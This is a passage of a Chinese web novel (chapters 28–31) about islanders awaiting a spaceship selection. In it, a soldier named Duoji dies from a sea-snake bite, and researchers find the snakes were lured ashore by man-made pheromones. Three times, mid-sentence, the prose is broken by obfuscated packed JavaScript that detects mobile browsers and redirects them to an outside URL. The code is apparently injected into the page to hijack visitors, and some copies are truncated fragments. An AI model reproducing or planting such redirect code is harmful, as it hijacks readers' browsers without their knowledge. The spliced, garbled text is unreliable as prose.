齐观不由得脸红起来,她从没想过多吉对她的感情落在别人眼里是什么样子。 杰佛森拎起一个哑铃掂了掂,20kg的重量他拿着也有些费力,“内脏的伤可没那么容易恢复好,一会儿巡逻的护士来了看你怎么交代。” 姚望宇起身拿毛巾胡乱擦了擦脸和脖子上的汗,她只有寸许的短发也沾着晶莹的汗珠。 “不练不行啊,谁知道上飞船需要经过多严苛的筛选。反正我是一定要赶紧恢复训练强度,争取选上。” 齐观看姚望宇也不过是二十多岁的年纪,奇怪她怎么会想要去将剩下的人生浪费在一艘小小的飞船上。 “我知道你想说什么。”姚望宇笑得了然,她也乐于向他人解释自己的梦想,“在岛上出生的人的名字都是从名字库里随机挑的,但我主动去人口局改了名字。姚望宇,遥望宇宙。这片土地越小,我对宇宙的好奇就越多。反正在这里的每一天都不会有什么差别,为什么不飞上去看一眼呢?” 齐观不禁感叹人真是复杂的动物,明明长得大差不差,脑袋里想的东西却千差万别。 原本齐观在名单里看到姚望宇的名字时,以为只是出于军人的责任感,没想到她是从心底里对头顶的星空充满期盼。 齐观微笑着说:“虽然我并不知道最终的入选标准,但我想以你的条件一定会入选的。” “那就借你吉言了。我真想去飞船里看看那些真正先进的仪器,那才是人类智慧的结晶。岛上为了节能,不知道倒退了多少年。我听说飞船上的生物循环系统……” “好了,好了。”杰佛森出言打断了姚望宇的畅想,对齐观说:“你不是要去接人吗?快去吧。她见谁都说这一套,少说一遍不打紧的。” 齐观笑着转身离开了训练房,身后的对话声也渐渐远去。刚拐入语言教室层的楼梯口,就看到了那个小小的熟悉的身影。 “姐姐!” 薛洋洋“啪嗒啪嗒”地迈着步子,一溜烟地冲过来抱住齐观的大腿。 “姐姐你来接我了!”薛洋洋笑得喜气洋洋的,齐观见她之前空缺的下牙处已经冒出了新牙,白白的一小点像米粒一样粘在上牙膛上,可爱得很,就也跟着笑了起来。 “齐观姐。”卡卡也跟着薛洋洋走了过来。 “卡卡?”齐观意外地抬起头,“放了学怎么没回宿舍啊?” “先接洋洋回去。”卡卡自然地伸出手,薛洋洋开心地握住,又牵着齐观的手一起往楼梯口走。 一大一中一小的三个身影迎着夕阳走出了康复中心。 这里离校区还有一段距离,时间本就不早了,等走回去估计食堂也剩不下什么了。冷凝的点滴油脂配上头顶转速肉眼可见的电风扇,一顿饭下来人比菜都热。 齐观领着他俩拐进了一个看着不算贵的小餐馆,冷气还算充足,三人一人点了一碗热汤面。 两个小孩正是长身体的时候,齐观把碗里的肉片分了出去,看着他俩“呼噜呼噜”地吸着面,心里有种莫名的满足感。 薛洋洋毕竟岁数小,吃不了太多,不一会儿就停了筷子。 “姐姐,你会去天上吗?”她捧着小脸,一个字一个字地往外蹦。 齐观下意识以为她在学校接受了死亡教育,便说:“会啊,我们每个人最终都会去天上的。” 薛洋洋顿时兴奋了起来:“那我和姐姐一起,明天去报名。” 齐观这才反应过来,学校也给了孩子们报名上飞船的机会,但很明显以他们现在的年纪并不理解登上飞船的那五十年意味着什么,学校这样做未免有些不负责。 齐观连忙说:“姐姐不报名,姐姐会一直在这里。直到……直到有一艘专门为姐姐而来的飞船降落,那个时候姐姐才会去天上。” 薛洋洋听得似懂非懂,但还是马上说:“那洋洋不报名了,和姐姐一起等飞船。” 齐观笑了笑,又问卡卡要不要报名。 卡卡刚吃完了自己的面,一抹嘴说:“洋洋不去,我也不去。多吉哥说要我保护好她。” 他见薛洋洋碗里还剩了小半碗面,便直接端到自己面前吃了起来。 “是不是有点凉了,要不我再给你点儿别的吧。”齐观说着看起了菜单。 卡卡连忙摇头说:“够吃,不浪费。” 他几口就扒完了面,又“咕咚”几声把面汤也喝下了肚。 在岛上生活了半个多月,卡卡已经不像刚来时那么瘦弱,身体长得稍微结实了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15104494|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点,脸颊上也有了点肉。 从前他在军舰上不光吃不饱,干不完活儿还要挨打,弄脏了衣服也要挨打,所以他格外珍惜在岛上吃到的每一口饭和每一个平安的日子。对于岛上其他人稀松平常的生活,对他来说却是可遇不可求的恩赐。 齐观看着他狼吞虎咽的样子,心里有些不是滋味。 “走吧,趁限电之前姐姐再带你们去买点吃的。”她笑着说。 三人你追我赶地冲向零食店挑选起来,又趁着路灯还亮着逐个回了自己的住处。 限电的夜晚大部分路灯都只开到八点,办公楼里也只剩几盏孤灯。 谢心白的搜证工作终于接近尾声,明天把手里证据和笔录往法院一交,她就可以投入假期的怀抱了。 不过身边倒是还有另一个人在等着她投怀送抱。 钱章忙了一天,又帮谢心白理了许久的卷宗,已经累得在沙发上睡着了。 谢心白蹑手蹑脚地起身,悄悄走到钱章身边,关掉了他手边的台灯。屋子里一下子昏暗了不少,只剩她办公桌上的那一盏灯在孤独的工作着。 随着北美舰队的离去,安塔岛不再会有大规模战争的威胁,常规部队需要随之进行裁撤,预备部队的训练量也会减少,将更多的精力投入到生产工作中。 谢心白知道钱章最近在为这些调整忙得不可开交,本想自己扛下手里的工作,可他宁可自己忙到深夜也要每天抽出时间来帮自己。 她用手指隔着一小段距离轻轻描画他的眉眼。在她身边时,他总是注视着她,现在终于有机会近距离地好好看会儿他。 这就是美梦成真的感觉吗?谢心白真希望时间就停在这一刻。 然而钱章常年保持高度警觉,在谢心白起身的时候就已经察觉到她的靠近,他闭着眼就准确无误地抓住了谢心白的手。 “忙完了?”钱章缓缓睁开眼,声音带着一丝疲惫的沙哑。 谢心白并没有被戳穿的慌乱,只是轻声“嗯”了一句。 钱章拉着她的手不放,有的人还没有得到,就已经在担心会以何种方式失去了。 “你会报名上飞船吗?”他问。 “怎么?用完人就想甩开啊?” “心白。”钱章身体前倾,把她往自己的方向带了带,“你知道我不是这个意思。” 钱章已经三十五岁了,比谢心白整整大了十岁,可他一点都不觉得自己的权势地位能给自己增加多少筹码,他只怕她想要更新奇的体验,而他却无法从责任中脱身随她离去。 谢心白默默抽回了手,走回了办公桌翻起了文件。 钱章的掌心空了,心里也空了。他垂下头,不敢再看她。 一张素描画突然出现在钱章的眼前,画上的他手捧玫瑰等在侦查队大门口,右肩的衣服鼓起,里面是他刚受伤时还没来得及拆的纱布。 “这是?” 钱章认出这是他第一天来找谢心白时的样子,但没从谢心白嘴里听到确切的答案,他不敢下任何定论。 “谢礼呀。你帮了我这么多忙,这是一点心意咯。” “只是……谢礼吗?”钱章悻悻接过画,轻轻捻着角落的空白处。 “谢心白的礼物,简称谢礼。”她弯腰看着他,眉眼笑得调皮,食指一点钱章的额头,“怎么说什么的你都信啊。那我说我喜欢你,你信不信啊。” 钱章的脑袋猛地向后一晃,理智铸成的高墙也随着轰然倒塌,他不假思索地伸手将她拉坐在自己的腿上。 “我好累,让我抱一会儿。”他的声音因喜悦和疲惫微微颤抖。 谢心白轻吻他紧皱的眉头,这个曾经让她仰望的男人终于属于她了。 29. 第29章 经过为期一周的选拔,常备的陆军海军最终一共留下了不到八百人。 由此产生的荒废装备和载具则统一交由炼钢厂销毁,并在接下来的半年中由锻造加工厂制成飞船外骨架。 而这两个厂子将在下一个十年末入海底,这也意味着地球上将不再有新的武器和大型船只被制造。 正是晨练结束的时候,多吉跟着钱章从部队里又精挑细选了十个人,补充进机动队。 被选中的士兵宿舍收拾东西,要到下午才会到机动队报道。多吉先把钱章送回了司令部,然后独自开车回了队里。 街道上没什么人,这个时间岛上的人基本都已经到了各自的岗位上。 多吉远远看见杰佛森一个人在路边走着,日头也渐渐升了起来,就停在了他旁边。 “杰佛森,去哪儿啊,我稍你一程。” 杰佛森本想拒绝,可他的右腿知觉时断时续,想到路程还长,便拉开车门坐上了副驾。 “我……去教堂。” 多吉听到这个目的地有些意外,但还是什么都没问,直接驱动了车子。 “订都订了,空着也可惜。”杰佛森兀自解释道,“档案中心实在没什么事干,我就是想过去坐一会儿。” 车子一路开到重建后的教区,从前神圣宏伟的建筑群现如今只剩下几个小房子。 多吉有些不放心杰佛森,跟着一起下了车。 杰佛森缓步走进那间小教堂,里面只有紧密排布的五排座椅,教堂两边摆放着大大小小密密麻麻的神像。 人们早就放下信仰之间的矛盾,只是在这里为心灵寻找一个短暂的避难所。 杰佛森本也没有期待一个多么隆重的婚礼,毕竟和他相熟的人并不多,有几个不用执勤的队友到场凑个热闹就足够了。 他一直觉得只要期盼的足够少,那么得到什么都能满足。可看着这空无一人的教堂,连新娘都不在了,他只恨自己从前不够贪心。 杰佛森坐到第一排的座位上,面对神圣的布道台闭上了眼睛,心中响起无声的婚礼进行曲。 “如果乌日娜没有向你求婚,你会不会更容易走出来。”多吉出声打断了杰佛森的幻想。 杰佛森缓缓睁开眼,摇头道:“我只后悔没有留下足够多的回忆。” 回忆就像一本旧诗集,书脊会随着岁月的流逝变得老化开胶,一页页的掉落,曾经烂熟于心的词句也会慢慢模糊,直到完全忘却。 “在这座岛上,意外确实随时都有可能来临。有人因此胆怯,有人却会选择勇敢。”杰佛森看向多吉,“你呢?你会选择勇敢吗?” 多吉沉默不语,他缺乏的不是勇气,而是不想逼着齐观去做她还没考虑好的事。 “我先回去了。”多吉轻声说,准备转身离开。 “多吉。”杰佛森起身叫住了他,“我看得出来你很爱齐观,什么事都会为她考虑。那你的心呢?你的遗憾呢?请不要怪我说这样冒昧的话,我只是不希望你像我一样后悔。” 多吉深深呼了口气,大步走出了教堂。 他的遗憾吗? 从前没有想过,可经过了那个美好的夜晚,他不得不承认,他也是会贪心的。 一整个下午,多吉都有些心不在焉的,连来报道的新队员的名字都喊错了。 出去跑执勤路线的时候,连大大咧咧的里昂都看出来他不对劲,嬉笑着凑过来问:“怎么?跟女朋友吵架了?” “没有,别瞎说。”多吉敷衍地笑了笑,他只是自己在和自己吵架罢了。 迎接新队员入队耽误了些时间,直到太阳快落山还剩大半边的北坡没跑完。 左不过是一条没什么建筑物的盘山公路,也不常有人经过,多吉先把里昂送了回去,准备晚上自己一个人再去看看。 家里,齐观已经从食堂打回了两人份的餐,但吃了许久也就只有齐观偶尔说两句话。 “怎么吃得这么认真啊?难道你碗里的饭比我的好吃吗?”齐观逗趣地说着,从多吉碗里夹了一口尝尝。 通常多吉会接一句玩笑,可他却只是说:“晚上还有任务,吃完饭还要去。” 齐观放下了筷子:“岛上最近不是没什么事吗?怎么还有任务啊?” “就是去北坡转一圈,没什么大事。那边执勤点少,每天都要有人过去巡逻的。”多吉说着连忙扒净最后两口饭,放下了碗筷准备离开,又觉得自己这样实在是太过僵硬了,又说:“我会早点回来的。” 齐观只以为他是最近工作压力太大了,便说:“等我吃完了陪你去吧。” 多吉却快速扒了几筷子吃空了碗,起身拒绝道:“不用了,我早回来就是了。” “多吉。”齐观语气严肃,“过来坐下。” 多吉虽然心里还别扭,但还是慢慢凑到齐观身边坐下了。就好像看见了货架上最喜欢却十分昂贵的玩具,却硬憋着不说的小孩,明知爸妈不会给自己买,还不得不跟着一起回家。 齐观觉得多吉有些莫名其妙,边吃边问:“你今天很不对劲。是因为工作,还是别的什么?” 多吉没有回答,他怕说出什么让彼此都不高兴的话。 “你可以不说,但你至少让我陪着你吧。”齐观放下了碗,牵着多吉的手站了起来,“走吧,我们早去早回。” 夜晚的海是黑色的,是沉默的,更是危险的。 齐观望着车窗外一望无垠的大海,说道:“记得入岛的那个夜晚,我爸妈的学生带着我开了一整夜。那个时候我们拼命想要逃离海,可海却追着我来了。” “那个学生呢?怎么没听你提过。” 齐观摇摇头:“自从上岛之后就没有见过了。也许生了什么病,已经不在了吧。” 车窗缓缓降下,她将手伸出窗户,风和时间一起从她掌心流过。 车子开了一路的下坡路,路上偶尔能看到在公路边散步乘凉的人,和几个亮着微弱灯光的执勤岗亭。 北坡的坡度即便经过炸平调整也几近五十度,完全无法建大片的商业和民用设施。 而车路过的一个个嵌入山体的门洞,则是无数大型仓库和实验室的入口。 车子停在了海岸边,风也跟着停下。多吉将作战服脱下扔在了驾驶位上,一个多小时的夜路开得他有些疲惫,便开门下车眺望起远方。 齐观从车头绕过来牵起他的手,“走,我们去海边走走。” 两人从柏油马路一直沉默地走到沙滩上,但齐观感受到多吉握着她的手越来越紧了。 “现在愿意说了吗?”齐观扣了扣多吉的手心。 “今天我和杰佛森去了他为婚礼预定的教堂。”多吉缓缓低下头,“我也想要。” “就是为了这个吗?”齐观觉得有些好笑。 “什么叫就是因为这个。”多吉气得把脸一瞥,“你又不是没拒绝过我。” 说来惭愧,如果不是近几个月发生的事情,齐观也许永远不会像现在这样真正爱上多吉。对于曾经风平浪静的生活,日常的陪伴就已经足够了。 齐观轻声叹了口气,蹲坐在沙滩上抱住了双腿,“我有在试着改变,只是还没有那么快。如果你真的很在意这个仪式,就等我再自私一点吧。” 多吉紧靠着齐观坐下,原来她拒绝自己的理由早已不是从前那个,是他太心急了。 “不过你为什么会对办婚礼这么执着呢?我们又不会有孩子,住的地方也够用。”齐观看向虚无缥缈的天边。 多吉将她的脸转过来,让她的视线落在自己的眼眸:“就像你为我准备那一晚的惊喜一样,我想和你有更多值得回忆的经历。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15112145|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我们会一起重复誓言,承诺爱意至死不渝。然后,我会掀起你的头纱。”多吉说着,将齐观脸颊上的头发挽至耳后,“牧师则会说:‘现在你可以亲吻你的新娘了。’” 多吉莫名紧张了起来,轻咽了一口口水,喉结跟随着上下跳跃。他一寸一寸地靠近,在齐观的唇齿间留下一个温柔绵长的吻。分开时,他的眼睛比夏夜的海水还要温和潮湿。 “这不是一样吗?”齐观眨巴着眼睛问。 多吉有时候真的会被齐观的油盐不进弄得哭笑不得,他撑着柔软的沙土柔声说:“那就再和我做一次一样的事吧,只是时间地点不同,好吗?” 这么听起来好像确实不是什么困难的事,齐观有些被说动了。 “那……” “啊!” 还没等齐观说什么,多吉突然吃痛地抬起左臂,一条黑白环的海蛇正死死咬住多吉的小臂不松口。 齐观捂嘴惊呼,海蛇怎么会上岸咬人呢? 多吉想也没想,立刻抽出配枪,打在了蛇的七寸。一时间,海蛇的血肉飞溅,毒牙却嵌得更深了。 他用力掰开蛇嘴,将那半截蛇身扔在地上,不停地尝试从伤口中挤血,但因海蛇的毒牙太小收效甚微。 齐观慌忙凑上去想要用嘴帮他吸出毒血。 “不行!”多吉连忙推开她,“用嘴吸你中毒只会比我还快!去把车里的水壶拿给我。” 齐观听了话撒腿就往车上跑,多吉也跟着慢步走向车子,并调整呼吸尽量降低血液循环速度。 齐观很快折返回来,尽量克制着慌乱,可倒下的水流还是抖个不停。 陆地上的蛇类早就因人类的捕食灭绝了,即便偶尔有海蛇要上陆地产卵,也是在周边的无人小岛,怎么会来这里呢?还主动攻击人类? 她看向海边,竟然发现整条海岸线上都是蛇,还有好几条正往他们的方向爬来。 “蛇!岸边还有蛇!”她正说着,壶里的水就已经倒完了,“这……” “走吧,先回车上。” 多吉继续往车上走,齐观小跑着去把那截蛇头捡了起来。 “把这个给医生应该就能知道该用哪种血清了。”她小声念叨着,不光是说给多吉听,也是想要安慰自己。 多吉却没有回答,只是闷头一直走。他回到驾驶座上,用外套在小臂上绑了个结,随即踩下油门发动车子。 “仔细看我是怎么开车的,说不定过一会儿就得换你来了。” 为了不让左臂的毒素快速扩散,多吉只好单手猛打方向盘,冲进漆黑的山路。 “拿我的传呼机,呼叫司令,呼叫号码是237。” 齐观从他腰间取下传呼机,努力平复呼吸,才按下了号码。 虽然夜色已浓,但呼机还是很快接通了。 “钱司令,我是齐观,我和多吉在北坡的海边发现了大量海蛇上岸,还会攻击人。” “海蛇上岸攻击人?”钱章的语气十分匪夷所思,很快又问:“怎么是你在说话,多吉呢?” “多吉被蛇咬了,我们正在赶往山上的医院。” “三院离你们最近,那里有医生处理过海蛇咬人,你们立刻去。” “不,去山顶,那里的医院最好。”多吉斩钉截铁地说,“我已经处理过了,能坚持到的。” “你伤在什么地方?”钱章问。 多吉不回答,齐观答道:“在左臂上。” 传呼机那端先是沉默了一下,过了一会儿才说:“知道了,我来处理,你们……路上小心。” 车内重新归于平静,齐观的心都已经揪成一团了,却一句话都不敢说,生怕让多吉分心。 海蛇的毒性比陆蛇要强太多,她只能祈祷那是一只刚刚捕猎过的海蛇,没有什么毒液就好了。 30. 第30章 覆盖全岛的警报声骤然响起,齐观的手机亮了起来,她点开一看是一条要求平民关窗锁门禁止外出的消息。 时间一分一秒地过去,多吉手臂上的痛感也越来越强烈,并且还在不断蔓延着。他看了一眼显示屏上的时间,距离被咬仅仅过去了二十分钟,这比他想象的还要快。 突然,一阵钻心的疼痛袭来,多吉一个方向盘没打死,差点从转弯处的山路直直飞出去! 他不得不先将皮卡先停在路边,左后方半个车轱辘已经离开了路面,连带着碎石滚下山坡。 “左脚油门,右脚刹车。左右还分得清吧?”多吉大口喘着气,浑身的虚汗流个不停,却还不忘开句玩笑让齐观放松。 齐观却是一点玩笑的心情都没有了,冲下车门就往多吉那边跑。 多吉借着月光掀起衣服,看到伤口已经开始发黑,肿胀也已经蔓延至大臂,便把衣结往上挪了挪,盖住了整条胳膊。 齐观拉开驾驶侧的车门,扶着多吉跨过操作台,坐到副驾驶上。她一秒钟都不敢浪费,心一横就踩下了油门。 皮卡像猛兽一般冲回了路上,惯性让齐观猛地往后倒了一下,她赶紧调整了脚下的力度,再把注意力放在方向盘上。 “不用换挡,转弯处减速,方向盘转到最大幅度。”多吉咬着牙说,他痛得连呼吸都要控制不住了,好像整条胳膊被按在火里烧。 他好想扭头再多看几眼齐观,却又怕眼神出卖了自己的想法,只好在剧痛中装作闭目养神。 盘山公路如同一条巨蟒般缠绕在山坡上,一路上频繁地加速,减速,转弯,齐观感觉自己紧张得快要晕过去了。 “不用开太快,我没事的。要是开翻了掉海里,你可不会游泳啊。”多吉几乎是咬着牙在劝。 开了又有十多分钟,对向车道下山灭蛇的车队迎面驶来,在狭窄的山路上擦着齐观驾驶的皮卡呼啸而过。 她无暇思考山下的情形,继续目视前方。从前只觉得这座岛小得让人窒息,现在却感觉这路程远得要命。 “下一个岔路口……转弯去南坡……”多吉气若游丝地说,他的呼吸已经越来越艰难,喉头的腥甜时时刻刻在提醒他,他的脏器已被蛇毒侵入严重受损,痛楚如同千万只手在撕扯他的身体。 “好!你坚持住,我们马上就到了!” 眼前的街景变得越来越熟悉,齐观心中终于升起了希望。她一路躲避着开往山下的救护车和军用皮卡,加速冲向医院。 “多吉!我们到了!”齐观也顾不上去查看多吉的情况,车还没停稳就跳了下来,大喊:“医生!医生!这里有被蛇咬的病人!” 久候的医护人员向车快步跑来,齐观意外地看到谢心白也在医院门口等着,她慢慢向自己走来,眼神复杂且忧伤。 齐观不明白这个眼神是什么意思,莫名愣了几秒。 脚步声与担架车的轱辘声越来越近,齐观来不及想这些,她回身向皮卡跑去,一把拉开车门。 “多吉!多……” 噗—— 多吉一口黑红的血吐在了前挡风玻璃上,血滴飞溅到齐观的脸上,她呆愣在原地,不敢相信自己的眼睛。 赶来的医护人员把她挤开,将多吉抬上了担架床。 齐观跌了个趔趄,不停地逼迫自己深呼吸才渐渐缓过神来,她爬进车里拿出那截蛇头,边跑边喊:“医生!这是咬他的那种蛇,他需要对应的血清!” 方医生没有理她,而是跟随着移动中的担架车检查多吉的伤势。她掀开盖在胳膊上的衣服,又立刻扒开多吉的衣领。 “不用推了,没救了。”方医生说。 担架车随即停下,齐观的步子也是一顿。她的视线扫向多吉裸露的左臂,这才看到那里已经肿胀发黑,连白T恤领口处的脖颈也已经开始变色了。 “不……不可能……”齐观颤抖着摇头,几乎无法控制住自己的身体。 她跌跌撞撞地跑向医生,抓着她的胳膊说:“他接受过基因改造实验,不是普通人的身体素质!求你给他注射蛇毒血清吧,一定会有救的!” “岛上没有蛇毒血清。”方医生遗憾地看向齐观,语速飞快地说,“制作蛇毒血清需要大型哺乳动物作为抽血对象,可岛上养的动物都不够人吃的,哪里还能用来注射毒素提取抗体呢?” 这些话如一道炸雷劈在齐观身上,她还是不死心地问:“那渔民呢?如果被海蛇咬了怎么办呢?” “如果伤口在下肢末端,立刻截肢救还有的救。但你送来的这位患者伤在手臂上,而且蛇毒已经蔓延到躯干,就算截肢并且全身换血,也几乎没有救回来的可能。” “那也就是说还有一丝希望对吗?”齐观扔下了那截已经没用的蛇,双手抓住方医生,“求求你了!一定要救他啊!” 方医生面露难色地摇摇头:“抱歉,我们不能用掉那么多的血去救一个几乎没可能救回来的人。就算他接受过基因改造,海蛇的毒性也在不断进化,现在能存活的海蛇每一种的毒性都非常强。只要没有立刻截肢,几乎都没有生还的可能。山下还有很多可以通过截肢救治的患者在等着输血,资源有限,我们不得不有所取舍。” “你舍掉的是他的命啊!”齐观哭喊着,拽着方医生跪了下来,“求求你了,救救他吧!我不能没有他!” 方医生焦急地看向谢心白:“我们已经按司令交代的等过了,现在必须要下山去做手术支援了。” 方医生说罢便拉扯开了齐观的手,向等待着她救护车跑去。 看到齐观崩溃成这样,谢心白心里也十分难受,她默默蹲下抱住了齐观。 “不!心白!你不能让他们走!”齐观抓着谢心白,哭得声嘶力竭,“多吉他每年都会去献血的,血库里的血也有他的一份啊!为什么不能给他用啊!” 方医生闻言在车门处停住,充满歉意地看了一眼齐观,但还是扭头上了车。 “齐观,别哭了。”谢心白劝说着,可自己的眼泪也止不住了,“去看看多吉吧,他的时间不多了。” 齐观如从梦中惊醒一般定住,从地上爬起来摇摇晃晃地走向那台担架车,眼神充满了绝望。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117212|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 诺大的医院,没有人来救她的多吉,还把他孤零零地扔在那。她觉得自己的心在滴血。 “安全了。”多吉气若游丝地说,眼神已经有些涣散。 “多吉,你说你想娶我的,我们现在就去结婚好不好?”齐观伏在他身旁,眼泪像断了线的珠子,“我们还有好多事要一起经历,你别留我一个人在里好吗?” “不要哭……”多吉抬起那条勉强能动的手,在齐观的心口处点了几下,“答应我……活下去……” 齐观哭得上气不接下气,紧紧握住多吉的手贴在自己的脸上,“不要!我讨厌这里!你不在了,我活着还有什么意思!” “不……”多吉的表情更加痛苦了,“答应我……活下去……” “你最喜欢听我说‘我爱你’了对吗?我爱你,我真的很爱你,我愿意嫁给你的,求求你不要死好吗?”齐观不断地重复着,她恨自己为什么不早些说。 泪滴不断地滴落在多吉的脸上,又一口黑红的血从嘴里涌了出来,他的眼神瞬间变得空洞虚无。 齐观感到手心的重量陡然增加,她浑身颤抖着将他的手放下。 “多吉?” 齐观伸手去探多吉的颈动脉,接吻的时候她最喜欢把手放在他的脖子上,感受那有力的脉搏和温热的体温。 可这次她却什么都感受不到了。 她想要放声哭喊,却想起心跳停止后人的感官是逐渐停止工作的,她不能让多吉在最后听到她那样绝望的声音。 齐观小声啜泣着凑到多吉耳边,将手放在他的胸膛上,轻声说:“多吉,或许你还能听到吗?我爱你,我爱你,我每天都在变得更爱你,每天看到你都是我最开心的事。谢谢你爱我,谢谢你。” 她不断地重复着这些话,想把过去六年她没有说的情话都说给他听。 可他再也不会热烈地回应她了,齐观真实地感受到他的体温在一点一点地下降,肤色也变得灰白。 终于,她跌坐在地上,忍不住放声大哭起来。 她的爱人死了,死在她最爱他的时候。 现实实在是太荒谬了,多吉那样热烈鲜活的人正在一分一秒地失去生命的热量,她这样对生活毫无热情的人却要继续苟活。 谢心白怕齐观太过痛苦会做出什么傻事,紧紧抱住她的肩说:“齐观,你振作一点好吗?现在海岸线上全是蛇,发了疯地往岸上爬随意攻击人,没有人知道原因,也不知道后面还会发生什么。多吉就是因为知道自己的伤势就算支撑到三院也可能不会获救,才选择带你回到安全的高处。他是拼了命才把你带回来的,你一定要珍惜自己的生命啊!” 齐观抬头看向担架床上多吉,泪水模糊着她的视线,她想不明白她这样生死无谓的人有什么好救的?还搭上了多吉的性命。 一股腥甜上涌,齐观轻咳了一声。她看向手心鲜红的血液,原来感到肝肠寸断时,真的能咳出血来。 齐观直直向后栽倒,谢心白瞬间慌了神,她拔脚就向医院大厅内跑去,大喊:“还有医生在吗?!有人晕倒了!” 31. 第31章 谢心白在齐观的病房里焦急地等待着,已经整整两天了,齐观完全不像要醒来的样子。 “她什么时候才会醒过来?”谢心白问前来巡房的护士。 护士摇摇头:“晕倒本身就是一种身体保护机制,尤其是创伤后应激障碍患者,有些人就是会出现醒不过来的症状,因为现实中有他们不想面对的事。不过她应激导致的胃黏膜受损自愈了,没有出现进一步出血的症状,已经是万幸了。” 谢心白叹了口气,齐观看似是在卧床休息,但她的眼球一直在颤动,呼吸也有些急促。这样噩梦缠身的日子仅仅过了两天,人就瘦得眼眶深陷,血色全无。 “齐观,你得醒过来啊。多吉要是知道你这个样子,一定会心疼的。” 谢心白拉着齐观的手,不停地说着话,希望能唤醒她。 病房门外响起了轻轻的开门声。 “还是没有醒吗?”钱章走进来问道。 谢心白回头看向钱章,压低了声音:“你还不如不让我告诉她实情呢,本来事发突然就已经让人很难受了,再让她知道多吉是为了她才放弃了自己救治的可能,她怎么承受的住啊?” “不,她必须知道。因为她给我感觉和杰佛森太像了。”钱章揽住了谢心白,神情十分低落。他始终记得那天在北美军舰上,杰佛森那个舍弃一切的眼神。 “他们的外表太硬,内心又太软,一旦外面的围墙破了,心就会完全坍塌,丧失活下去的希望。只有让齐观知道多吉牺牲是为了保护她,才能让她选择继续活下去。” “可你怎么知道这就是她想要的呢?” “我没得选。多吉把杰佛森活着带回来了,这算我欠他的。”钱章拍了拍谢心白的肩膀,“走吧。你今天刚献了血,也需要休息,明天再来看她吧。” 两人并排走出医院,门口献血的队伍排出了十几米。血库在海蛇开始上岸的当晚就已经用完了,热心群众的献血量简直杯水车薪,政府不断加码献血的补偿才动员起了更多的居民,可血库还是入不敷出。 军区召回了所有退伍的士兵,派出了所有能派的人对岛上进行了两天地毯式的搜索。 好在海蛇无法在岸上存活太久,再加上中午的高温暴晒,在室外大部分能找到的也不过是些蛇干罢了。但仍有少量海蛇溜进了下水管道,时不时有些新的伤者被巡防士兵抬到医院。 于此同时,研究所生物分所正灯火通明。研究员们不仅要争分夺秒地制作人造血,还要查清海蛇上岸的原因。 周文涛的专业领域并不在此,只能在守在研究所等结果。刚上任就出了这么大的事,他心里不免有些急躁,走到饮水机旁接了一大杯凉水灌了下去。 “周副首!有发现了!”一名研究员拿着电子屏急匆匆地向他跑来,“一开始我们并没有找到合适的研究方向,直到发现所有送来的样本都是母蛇。我们检测了这些母蛇体内的激素水平,发现它们的孕激素极高,但并没有受孕。” 研究员又调出另一张化验单:“我们在沿海发现了两种针对海蛇的信息素,每一种的浓度都很高。不仅能母蛇认为自己到了产卵期,还能让其产生极度的饥饿感,从而让它们去攻击比自己大很多倍的人类。” 周文涛问:“这是自然中可能产生的吗?” “不,这大概率是人为。”研究员紧张地擦了擦汗,“信息素是一种动物蛋白,最算海蛇再敏感,能在近海达到对其有影响的浓度,至少投放十几公斤。” 周文涛的神情一下子就严肃了起来:“还有可能出现其他生物袭击人类的情况吗?” “如果是同样的手段的话,可能性不大。蛇类因为视力很差,才会对气味如此敏感,而且有海陆两栖的品种。至于其他攻击性较强的海洋生物,要么对信息素不够敏感,要么无法上岸。但如果能影响到大群的海豚或鲸鱼对近海的小捕鱼船发动攻击,会使岛上的食物来源大大缩水。” 周文涛在脑海中不停搜索,北美倒是有几个生物方向的研究员被放逐到了暴露区,但他们一没有材料,二没有设备,又怎么能做到这些呢? 但是不管怎么样,得先把人抓回来,有了人才好继续往下查。 夜半时分,沿海的探照灯少见地亮了起来,一艘巡逻艇劈开海浪驶向远方去采集海水样本,三辆军用皮卡轰隆隆地前往暴露区进行抓捕行动。 于周文涛而言,这注定是一个无眠的夜晚。 而此时的病房里,只有仪器在散发微弱的光芒和规律的滴滴声。 齐观的眼前是无尽的黑色海水,她被浸在水面之下,无论怎么用力都无法浮出水面。 她呼喊了许久,但没有人回应她。她渐渐放弃希望,闭上了双眼。 “齐观,别留在这。” 好熟悉的声音,齐观下意识抗拒地捂住了自己的耳朵:“我不要。” 一张泛黄发旧的书页飘到了她的眼前,纸的最下处写了一行小字:“心跳加速的瞬间,血液中流淌过我一生的奇观。” 这是什么时候的事?她有些不记得了。 海面上渐渐亮了起来,一条细细的红线从海面而来,拉住了她的手腕。 那是一条无数血滴组成的线,血液在不停流淌着,散发出红色的荧光。 